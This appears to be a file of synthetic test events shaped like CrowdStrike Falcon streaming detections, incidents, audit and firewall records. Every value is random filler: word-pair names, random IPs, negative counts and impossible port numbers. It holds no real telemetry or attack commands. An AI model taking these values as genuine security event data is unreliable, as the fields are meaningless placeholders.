+{"metadata": {"customerIDString": "itchyfailure","offset": 1601443762,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "confusingquiver","DetectName": "wheresedge","DetectDescription": "board forest hedge motor juice troop desk thosesheaf","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/victoriouspack?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 56,"SeverityName": "High","Tactic": "hugeliter","Technique": "myregiment","Objective": "fantasticday","SourceAccountDomain": "itshost","SourceAccountName": "neitherposse","SourceAccountObjectSid": "poisedracism","SourceEndpointAccountObjectGuid": "anyonejuice","SourceEndpointAccountObjectSid": "singlenumber","SourceEndpointHostName": "yourgroup","SourceEndpointIpAddress": "126.48.118.213","SourceEndpointSensorId": "Finnishdoor","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "distinctwheat","PatternId": 776293127}}
+{"metadata": {"customerIDString": "whatmob","offset": 385870836,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "itmilk","IncidentDescription": "chair sheaf mercy bravery body wisdom group Laotianscold","Severity": 34,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "jealoustraffic","UserName": "whyevidence","EndpointName": "itshedge","EndpointIp": "171.201.43.87","Category": "Incidents","NumbersOfAlerts": 409486886,"NumberOfCompromisedEntities": -221281473,"State": "AUTO_RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/uptightset?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "thoseroom (space)","offset": -1574265394,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "anynap","State": "open","FineScore": 0.9096205275042146,"LateralMovement": 1,"IncidentType": 1,"IncidentID": "eithergeneration","HostID": "Romaniancoat","LMHostIDs": ["thoseracism"],"UserId": "fewscold"}}
+{"metadata": {"customerIDString": "eachsheaf","offset": -179584100,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "ourexaltation","State": "closed","FineScore": 2.263076300759446,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "herecloud","HostID": "howbrace","LMHostIDs": ["singlearchipelago"],"UserId": "stupidmusic"}}
+{"metadata": {"customerIDString": "gorgeousgrowth","offset": -1837342772,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "allrhythm","IncidentDescription": "economics mobile host covey whosegrade","Severity": 58,"SeverityName": "Low","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "itspot","UserName": "manytennis","EndpointName": "purplekindness","EndpointIp": "162.164.166.132","Category": "Incidents","NumbersOfAlerts": -1223214221,"NumberOfCompromisedEntities": -1593909206,"State": "AUTO_RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/everyonecanoe?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "whybatch","offset": 56673093,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "Polynesianwhisker","UserID": "theirmusic","ExecutionID": "sparsecup","ReportID": "nobodydog","ReportName": "everyonegovernor","ReportType": "luckybook","ReportFileReference": "Romanirritation","Status": "itclump","StatusMessage": "Greekengine","ExecutionMetadata": {"ExecutionStart": -2030612385,"ExecutionDuration": -1051485609,"ReportFileName": "anythingparty","ResultCount": 977656925,"ResultID": "joyouspoint","SearchWindowStart": -201702444,"SearchWindowEnd": -515784341}}}
+{"metadata": {"customerIDString": "jitteryparty","offset": 891806219,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "herefreedom","MobileDetectionId": -284098976,"ComputerName": "whatlife","UserName": "Canadianpad","ContextTimeStamp": 1649061056,"DetectId": "Newtonianbale","DetectName": "Hindumob","DetectDescription": "sedge crowd bed travel woman irritation eachhorde","Tactic": "severalannoyance","TacticId": "boredpack","Technique": "Romaniancaravan","TechniqueId": "elegantway","Objective": "whoselitter","Severity": 30,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/anythingbunch?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "jealousbuckles","AndroidAppLabel": "somebodyfashion","DexFileHashes": "thisanimal","ImageFileName": "thesedelay","AppInstallerInformation": "littlestreet","IsBeingDebugged": true,"AndroidAppVersionName": "franticgovernment","IsContainerized": true}]}}
+{"metadata": {"customerIDString": "nonemuster","offset": 1418673639,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "whichcollege","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\Bismarckianclass","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "IoT","Description": "bravery newspaper shark belief shower way block cast talent method catalog expensiveharvest","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/anyonegrandmother?_cid=xxxxxxx","FileName": "someonerelaxation","FilePath": "Braziliancare\\someonerelaxation","FilesAccessed": [{"FileName": "someonerelaxation","FilePath": "Braziliancare\\someonerelaxation","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "someonerelaxation","FilePath": "Braziliancare\\someonerelaxation","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\theseshrimp","GrandParentImageFileName": "numerousproblem","GrandParentImageFilePath": "coupleream\\numerousproblem","HostGroups": "everybodyjoy","Hostname": "manygroup","LocalIP": "244.202.247.147","LocalIPv6": "117.38.247.225","LogonDomain": "anythingbatch","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "anypod","Name": "someonebill","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 725548536,"ConnectionDirection": 2,"IsIPV6": true,"LocalAddress": "65.212.62.175","LocalPort": 6696,"Protocol": "whatarmy","RemoteAddress": "100.140.94.153","RemotePort": 19149}],"Objective": "mostpod","ParentCommandLine": "C:\\Windows\\Buddhistjourney\\enough ofring","ParentImageFileName": "enough ofring","ParentImageFilePath": "theirveterinarian\\enough ofring","ParentProcessId": -1963109081,"PatternDispositionDescription": "car peace content mob itshedge","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": false,"ContainmentFileSystem": true,"CriticalProcessDisabled": false,"Detect": false,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"InddetMask": true,"Indicator": true,"KillActionFailed": true,"KillParent": false,"KillProcess": false,"KillSubProcess": true,"OperationBlocked": true,"PolicyDisabled": false,"ProcessBlocked": true,"QuarantineFile": false,"QuarantineMachine": true,"RegistryOperationBlocked": false,"Rooting": true,"SensorOnly": false,"SuspendParent": false,"SuspendProcess": false},"PatternDispositionValue": -1990540011,"PatternId": -111455656,"PlatformId": "Tibetanmustering","PlatformName": "Windows","ProcessEndTime": -128599036,"ProcessId": -1265886666,"ProcessStartTime": -546870326,"ReferrerUrl": "theremotherhood","SHA1String": "theirgossip","SHA256String": "herhail","Severity": 20,"SeverityName": "Critical","SourceProducts": "someonecongregation","SourceVendors": "yourtrend","Tactic": "ourstand","Technique": "wherefact","Type": "ldt","UserName": "theseaccommodation"}}
+{"metadata": {"customerIDString": "therecast","offset": 436560948,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "wherejoy","UserIp": "67.147.40.168","OperationName": "deactivateUser","ServiceName": "detections","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "howgoal","ValueString": "so fewpainter"}],"Attributes": {"actor_cid": "whyhost","actor_user": "itshrimp","actor_user_uuid": "thistroupe","app_id": "thatslavery","saml_assertion": "thereblock","target_user": "everythingdesktop","trace_id": "abundantgold"}}}
+{"metadata": {"customerIDString": "whosedog","offset": -51434368,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "brownroad","DataDomains": "Web","Description": "advice party school time ability troop over therehand","DetectId": "a lotpod","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "207.123.190.249","HostNames": "illdetermination","Name": "someliterature","PatternId": -791998758,"Severity": 96,"SourceProducts": "noplant","SourceVendors": "significantjoy","StartTimeEpoch": 1643317697728000000,"TacticIds": "fewswan","Tactics": "whereheap","TechniqueIds": "whichgroup","Techniques": "foolishbravery","XdrType": "xdr-scheduled-search" } }}
+{"metadata": {"customerIDString": "whyday","offset": -664178279,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "howparty","IncidentDescription": "economics way man pack scold estate head senator nobodyscold","Severity": 1,"SeverityName": "High","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "over therewoman","UserName": "fewheap","EndpointName": "nobodypod","EndpointIp": "46.13.136.7","Category": "Detections","NumbersOfAlerts": -696499701,"NumberOfCompromisedEntities": 1805542781,"State": "RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/strangehost?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "therefriend","offset": -1497602444,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "over therebale","PolicyId": 398479010,"PolicyStatement": "thoseman","CloudProvider": "Tibetandog","CloudService": "eachcollection","Severity": 75,"SeverityName": "Informational","EventAction": "Belgiansmoke","EventSource": "somebodyshop","EventCreatedTimestamp": 1663011160,"UserId": "grievingsorrow","UserName": "anythinglove","UserSourceIp": "242.113.20.164","Tactic": "South Americancollection","Technique": "friendlyomen"}}
+{"metadata": {"customerIDString": "mylitter","offset": -1538076175,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "Einsteinianfood","MobileDetectionId": -428079410,"ComputerName": "abundantdynasty","UserName": "allexaltation","ContextTimeStamp": 1649061056,"DetectId": "Polynesianproblem","DetectName": "wheretrend","DetectDescription": "library shower company road quantity wheat crew friendship driver place cheese hisbundle","Tactic": "Newtoniandynasty","TacticId": "hugeregiment","Technique": "herfreedom","TechniqueId": "itsquiver","Objective": "whosetroop","Severity": 8,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/myring?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "therebale","AndroidAppLabel": "herewhale","DexFileHashes": "howbusiness","ImageFileName": "thosenest","AppInstallerInformation": "whatscold","IsBeingDebugged": false,"AndroidAppVersionName": "somebodygenetics","IsContainerized": false}]}}
+{"metadata": {"customerIDString": "emptygirl","offset": -1078858329,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "howsock","Region": "us-east-1","ResourceId": "yourbridge","ResourceIdType": "Mozartianelephant","ResourceName": "ouralbum","ResourceCreateTime": 0,"PolicyStatement": "anyonearchipelago","PolicyId": -2073273875,"Severity": 62,"SeverityName": "Critical","CloudPlatform": "thereweekend","CloudService": "Dutchfinger","Disposition": "Failed","ResourceUrl": "shybook","Finding": "whattribe","Tags": [{"Key": "impossibleweek","ValueString": "Sri-Lankanstreet"}],"ReportUrl": "everybodyfarm","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "Turkishishschool","offset": -370801054,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "everybodyfailure","State": "open","FineScore": 8.873186554562794,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "aliveplant","HostID": "yoursister","LMHostIDs": ["whereway"],"UserId": "wheretroupe"}}
+{"metadata": {"customerIDString": "theresalary","offset": 815788331,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "Germanschool","MobileDetectionId": -115710443,"ComputerName": "itfinger","UserName": "Bahraineancase","ContextTimeStamp": 1649061056,"DetectId": "howsolitude","DetectName": "whichbook","DetectDescription": "basket girl uncle nap wealth government wad board judge bevy bill wheremob","Tactic": "Buddhistexaltation","TacticId": "lonelycare","Technique": "thesecloud","TechniqueId": "thisyear","Objective": "halfdresser","Severity": 21,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Swisspharmacy?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "wheregovernment","AndroidAppLabel": "Turkishisharchipelago","DexFileHashes": "Chinesecompany","ImageFileName": "Turkishworld","AppInstallerInformation": "severaldynasty","IsBeingDebugged": true,"AndroidAppVersionName": "healthyprogress","IsContainerized": true}]}}
+{"metadata": {"customerIDString": "nonebale","offset": -2133110234,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "hereseafood","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\muchchair","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Endpoint","Description": "shower courage engine card work teen model apartment trade choir week problem air stack justice judge employment energy thought rain silence whatkeyboard","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/myline?_cid=xxxxxxx","FileName": "noneanthology","FilePath": "mostband\\noneanthology","FilesAccessed": [{"FileName": "noneanthology","FilePath": "mostband\\noneanthology","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "noneanthology","FilePath": "mostband\\noneanthology","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\everyonehedge","GrandParentImageFileName": "blueeye","GrandParentImageFilePath": "whatpacket\\blueeye","HostGroups": "wrongpig","Hostname": "somebodyslavery","LocalIP": "101.92.145.139","LocalIPv6": "30.170.92.115","LogonDomain": "mostcluster","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "successfulorchard","Name": "nonebunch","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 554946842,"ConnectionDirection": 1,"IsIPV6": true,"LocalAddress": "202.184.134.128","LocalPort": 34295,"Protocol": "Viennesesuit","RemoteAddress": "232.12.48.190","RemotePort": 74499}],"Objective": "over therecompany","ParentCommandLine": "C:\\Windows\\ourlips\\thesecongregation","ParentImageFileName": "thesecongregation","ParentImageFilePath": "healthynumber\\thesecongregation","ParentProcessId": 399241102,"PatternDispositionDescription": "clump company mistake care flock magic ream cleverness hereteam","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": false,"ContainmentFileSystem": false,"CriticalProcessDisabled": false,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"InddetMask": true,"Indicator": false,"KillActionFailed": false,"KillParent": false,"KillProcess": true,"KillSubProcess": false,"OperationBlocked": false,"PolicyDisabled": true,"ProcessBlocked": true,"QuarantineFile": true,"QuarantineMachine": true,"RegistryOperationBlocked": true,"Rooting": true,"SensorOnly": true,"SuspendParent": false,"SuspendProcess": true},"PatternDispositionValue": -754077962,"PatternId": 1029999168,"PlatformId": "arrogantchild","PlatformName": "Linux","ProcessEndTime": -752741724,"ProcessId": 1376366651,"ProcessStartTime": -703921002,"ReferrerUrl": "doublehorror","SHA1String": "doublegroup","SHA256String": "theirconfusion","Severity": 88,"SeverityName": "High","SourceProducts": "Indianwoman","SourceVendors": "Torontonianblock","Tactic": "itresearch","Technique": "sufficientscold","Type": "ldt","UserName": "lots ofshampoo"}}
+{"metadata": {"customerIDString": "whatexaltation","offset": 1424415311,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "Belgianvase","DataDomains": "Identity","Description": "leap host herbs forest voice mob road tail string metal fact news cow candle stomach fork mouse plane man fiction ream childhood South Americancarrot","DetectId": "somebrass","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "17.223.189.67","HostNames": "wherelibrary","Name": "thosebody","PatternId": 662283914,"Severity": 86,"SourceProducts": "itsister","SourceVendors": "darkcar","StartTimeEpoch": 1643317697728000000,"TacticIds": "powerlesscleverness","Tactics": "Lebanesegenetics","TechniqueIds": "itsgrowth","Techniques": "Burmesecompany","XdrType": "xdr-scheduled-search" } }}
+{"metadata": {"customerIDString": "mytea","offset": 4862485,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "whycollection","DataDomains": "Identity","Description": "pronunciation friend brace couch wound anger work tooblock","DetectId": "itpacket","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "72.3.207.246","HostNames": "nobodywoman","Name": "expensivething","PatternId": -1544135566,"Severity": 14,"SourceProducts": "blushingpair","SourceVendors": "troublingbale","StartTimeEpoch": 1643317697728000000,"TacticIds": "mycackle","Tactics": "enviousstack","TechniqueIds": "therecare","Techniques": "fewbale","XdrType": "xdr" } }}
+{"metadata": {"customerIDString": "Putiniststairs","offset": -1371928211,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "Putinistbusiness","Highlights": ["Tibetanwork"],"MatchedTimestamp": 1686889114000,"RuleId": "gentletroop","RuleName": "whatway","RuleTopic": "preciousroom (space)","RulePriority": "anyhandle","ItemId": "herwound","ItemType": "SCRAPPY","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "Honduranbrother","offset": 781879607,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "Aristotelianmoonlight","State": "closed","FineScore": 5.7330111560525605,"LateralMovement": 0,"IncidentType": 2,"IncidentID": "ourfact","HostID": "theirinnocence","LMHostIDs": ["hundredcar"],"UserId": "puzzledpack"}}
+{"metadata": {"customerIDString": "Colombianday","offset": -1815194109,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "substantialthing","UserID": "whosebevy","ExecutionID": "enough ofrhythm","ReportID": "Gabonesepatrol","ReportName": "itunemployment","ReportType": "thesesunshine","ReportFileReference": "whattime","Status": "whatriches","StatusMessage": "itquantity","ExecutionMetadata": {"ExecutionStart": 31416634,"ExecutionDuration": -560350705,"ReportFileName": "singlemuster","ResultCount": 516844617,"ResultID": "thispoint","SearchWindowStart": -1602411656,"SearchWindowEnd": 544449251}}}
+{"metadata": {"customerIDString": "noneblock","offset": 1561697687,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "everyonetroop","PolicyId": 588847273,"PolicyStatement": "whosedetermination","CloudProvider": "Iraniancorner","CloudService": "hischild","Severity": 94,"SeverityName": "Informational","EventAction": "brightcomb","EventSource": "successfulbattery","EventCreatedTimestamp": 1663011160,"UserId": "whichband","UserName": "Philippinemetal","UserSourceIp": "4.57.181.164","Tactic": "myplace","Technique": "Finnishflock"}}
+{"metadata": {"customerIDString": "youryear","offset": -85722046,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "yourclass","CustomerId": "happyfleet","Ipv": "176.51.58.252","CommandLine": "wherecongregation","ConnectionDirection": "0","EventType": "FirewallRuleApplicationFailed","Flags": {"Audit": true,"Log": true,"Monitor": false},"HostName": "jealousperson","ICMPCode": "Laotianchoir","ICMPType": "whycare","ImageFileName": "hiswildlife","LocalAddress": "104.238.18.196","LocalPort": "19032","MatchCount": -1515421592,"MatchCountSinceLastReport": -1616283640,"NetworkProfile": "Colombianluggage","PID": "94572158","PolicyName": "Turkmenoil","PolicyID": "thoughtfultroupe","Protocol": "Intelligentwatch","RemoteAddress": "52.132.67.64","RemotePort": "51983","RuleAction": "hischild","RuleDescription": "collection number choir troupe trip kindness crew house packet patience string nest idea block stand choir chest crew exaltation loss somebodygrammar","RuleFamilyID": "plaineye","RuleGroupName": "whatfact","RuleName": "whoseparrot","RuleId": "alivegroup","Status": "fewspeed","Timestamp": 1751371830,"TreeID": "hisgroup"}}
+{"metadata": {"customerIDString": "neitherchocolate","offset": -372118937,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "mynest","DataDomains": "Web","Description": "howarmy","DetectId": "heavycackle","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "32.137.213.181","HostNames": "itparty","Name": "mycackle","PatternId": 1905558942,"Severity": 91,"SourceProducts": "whichapp","SourceVendors": "heavyrabbit","StartTimeEpoch": 1643317697728000000,"TacticIds": "somesunshine","Tactics": "Kazakhscold","TechniqueIds": "howchildhood","Techniques": "myability","XdrType": "xdr-scheduled-search" } }}
+{"metadata": {"customerIDString": "Machiavellianunion","offset": 718725590,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "fewgain","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\eachsuccess","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "IoT","Description": "part ball gun wisp ring welfare pollution truth mistake shower library tolerance harm right basket magic outfit hail company severaleye","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/noneprogram?_cid=xxxxxxx","FileName": "howpair","FilePath": "whosewisp\\howpair","FilesAccessed": [{"FileName": "howpair","FilePath": "whosewisp\\howpair","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "howpair","FilePath": "whosewisp\\howpair","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\herdaughter","GrandParentImageFileName": "numerouscrowd","GrandParentImageFilePath": "itday\\numerouscrowd","HostGroups": "Thatcheriteboots","Hostname": "yourcandy","LocalIP": "135.58.92.156","LocalIPv6": "15.33.0.192","LogonDomain": "wideimagination","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "thesegrowth","Name": "couplecorruption","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -241703332,"ConnectionDirection": 2,"IsIPV6": false,"LocalAddress": "57.167.195.249","LocalPort": 1966,"Protocol": "Atlanticeconomics","RemoteAddress": "57.65.238.143","RemotePort": 8822}],"Objective": "innocentfactory","ParentCommandLine": "C:\\Windows\\thatdisregard\\over therelove","ParentImageFileName": "over therelove","ParentImageFilePath": "Spanishspoon\\over therelove","ParentProcessId": -536072046,"PatternDispositionDescription": "murder employment poverty harvest regiment way film band wisp tendertrade","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": false,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"InddetMask": false,"Indicator": false,"KillActionFailed": true,"KillParent": true,"KillProcess": true,"KillSubProcess": true,"OperationBlocked": false,"PolicyDisabled": true,"ProcessBlocked": true,"QuarantineFile": false,"QuarantineMachine": false,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": true},"PatternDispositionValue": -663700974,"PatternId": -805101681,"PlatformId": "Uzbekrhythm","PlatformName": "Linux","ProcessEndTime": 894808581,"ProcessId": 1925024249,"ProcessStartTime": -663184419,"ReferrerUrl": "itstime","SHA1String": "howcash","SHA256String": "Finnishtelephone","Severity": 52,"SeverityName": "Low","SourceProducts": "anyoneunion","SourceVendors": "doublehat","Tactic": "thatwisdom","Technique": "condemnedlack","Type": "ldt","UserName": "yourgiraffe"}}
+{"metadata": {"customerIDString": "Alpinejuice","offset": 1855175240,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "lots ofroom","UserIp": "92.175.29.158","OperationName": "activateUser","ServiceName": "detections","AuditKeyValues": [{"Key": "howbody","ValueString": "whoseregiment"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "manyhost"}}}
+{"metadata": {"customerIDString": "uninterestedpack","offset": 1982331356,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "muchsandwich","HostnameField": "myslavery","UserName": "disgustingtime","StartTimestamp": 1582830734,"AgentIdString": "herstairs"}}
+{"metadata": {"customerIDString": "plenty ofkindness","offset": 1560495884,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "herecase","DataDomains": "Network","Description": "Machiavellianchild","DetectId": "Laotiancrew","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "0.78.113.82","HostNames": "greatcrib","Name": "itsears","PatternId": 1839132024,"Severity": 62,"SourceProducts": "Danishhatred","SourceVendors": "whatmurder","StartTimeEpoch": 1643317697728000000,"TacticIds": "thistowel","Tactics": "whybook","TechniqueIds": "Kazakhbody","Techniques": "thattrend","XdrType": "xdr" } }}
+{"metadata": {"customerIDString": "hereway","offset": 1024865088,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "wheredivorce","State": "open","FineScore": 2.484165845727425,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "thoughtfulparty","HostID": "Bangladeshihost","LMHostIDs": ["obnoxiousexaltation"],"UserId": "theirdishonesty"}}
+{"metadata": {"customerIDString": "thatcabin","offset": -1711944094,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "everybodylemon","DataDomains": "Endpoint","Description": "sheaf part donkey bowl laptop anthology Swisscomb","DetectId": "mywelfare","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "218.87.202.198","HostNames": "Thaibattery","Name": "whichbuilding","PatternId": -458966363,"Severity": 4,"SourceProducts": "ourwealth","SourceVendors": "condemnedcloud","StartTimeEpoch": 1643317697728000000,"TacticIds": "whatphysician","Tactics": "anythingtrust","TechniqueIds": "whatgroup","Techniques": "whichdeceit","XdrType": "xdr" } }}
+{"metadata": {"customerIDString": "allexaltation","offset": -1520957765,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 1973750771,"ProcessEndTime": 1601414674,"ProcessId": -1735927873,"ParentProcessId": -75612841,"ComputerName": "Afghancast","UserName": "whatharvest","DetectName": "Atlanteanman","DetectDescription": "whichchild","Severity": 3,"SeverityName": "Informational","FileName": "hereteam","FilePath": "everythingimagination\\hereteam","CommandLine": "C:\\Windows\\alldeceit","SHA256String": "Himalayanquiver","MD5String": "sorebird","SHA1String": "Asiananimal","MachineDomain": "Frenchpanda","NetworkAccesses": [{"AccessType": -622454208,"AccessTimestamp": 1751371565,"Protocol": "lightcamp","LocalAddress": "177.92.161.233","LocalPort": 35168,"RemoteAddress": "225.125.142.102","RemotePort": 79066,"ConnectionDirection": 1,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/innocentinfancy?_cid=xxxxxxx","SensorId": "hereworld","IOCType": "command_line","IOCValue": "whatmonkey","DetectId": "heretomato","LocalIP": "176.173.231.175","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "thisappetite","Technique": "whylife","Objective": "hisbale","PatternDispositionDescription": "bouquet professor spoon man stack street stand exaltation soup patrol way bale bunch class pack galaxy host party violence fewshorts","PatternDispositionValue": 860253238,"PatternDispositionFlags": {"Indicator": false,"Detect": true,"InddetMask": false,"SensorOnly": true,"Rooting": true,"KillProcess": false,"KillSubProcess": true,"QuarantineMachine": true,"QuarantineFile": false,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": true,"SuspendParent": true},"ParentImageFileName": "eachfashion","ParentCommandLine": "whichcast","GrandparentImageFileName": "whatcompany","GrandparentCommandLine": "someoneforest","HostGroups": "Thatcheritetroop","AssociatedFile": "Cypriotclass","PatternId": 839535497}}
+{"metadata": {"customerIDString": "Beninesechair","offset": -2075627414,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "mysunshine","DataDomains": "Endpoint","Description": "way cackle yoga posse battery murder mob horror goal year couch pharmacy caravan software fire world over thereboard","DetectId": "anyjoy","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "15.43.188.247","HostNames": "a littlechaos","Name": "cautiouspancake","PatternId": -1322158317,"Severity": 91,"SourceProducts": "theremagic","SourceVendors": "adorablebutter","StartTimeEpoch": 1643317697728000000,"TacticIds": "nobodypollution","Tactics": "toohorror","TechniqueIds": "howwisp","Techniques": "allshower","XdrType": "xdr" } }}
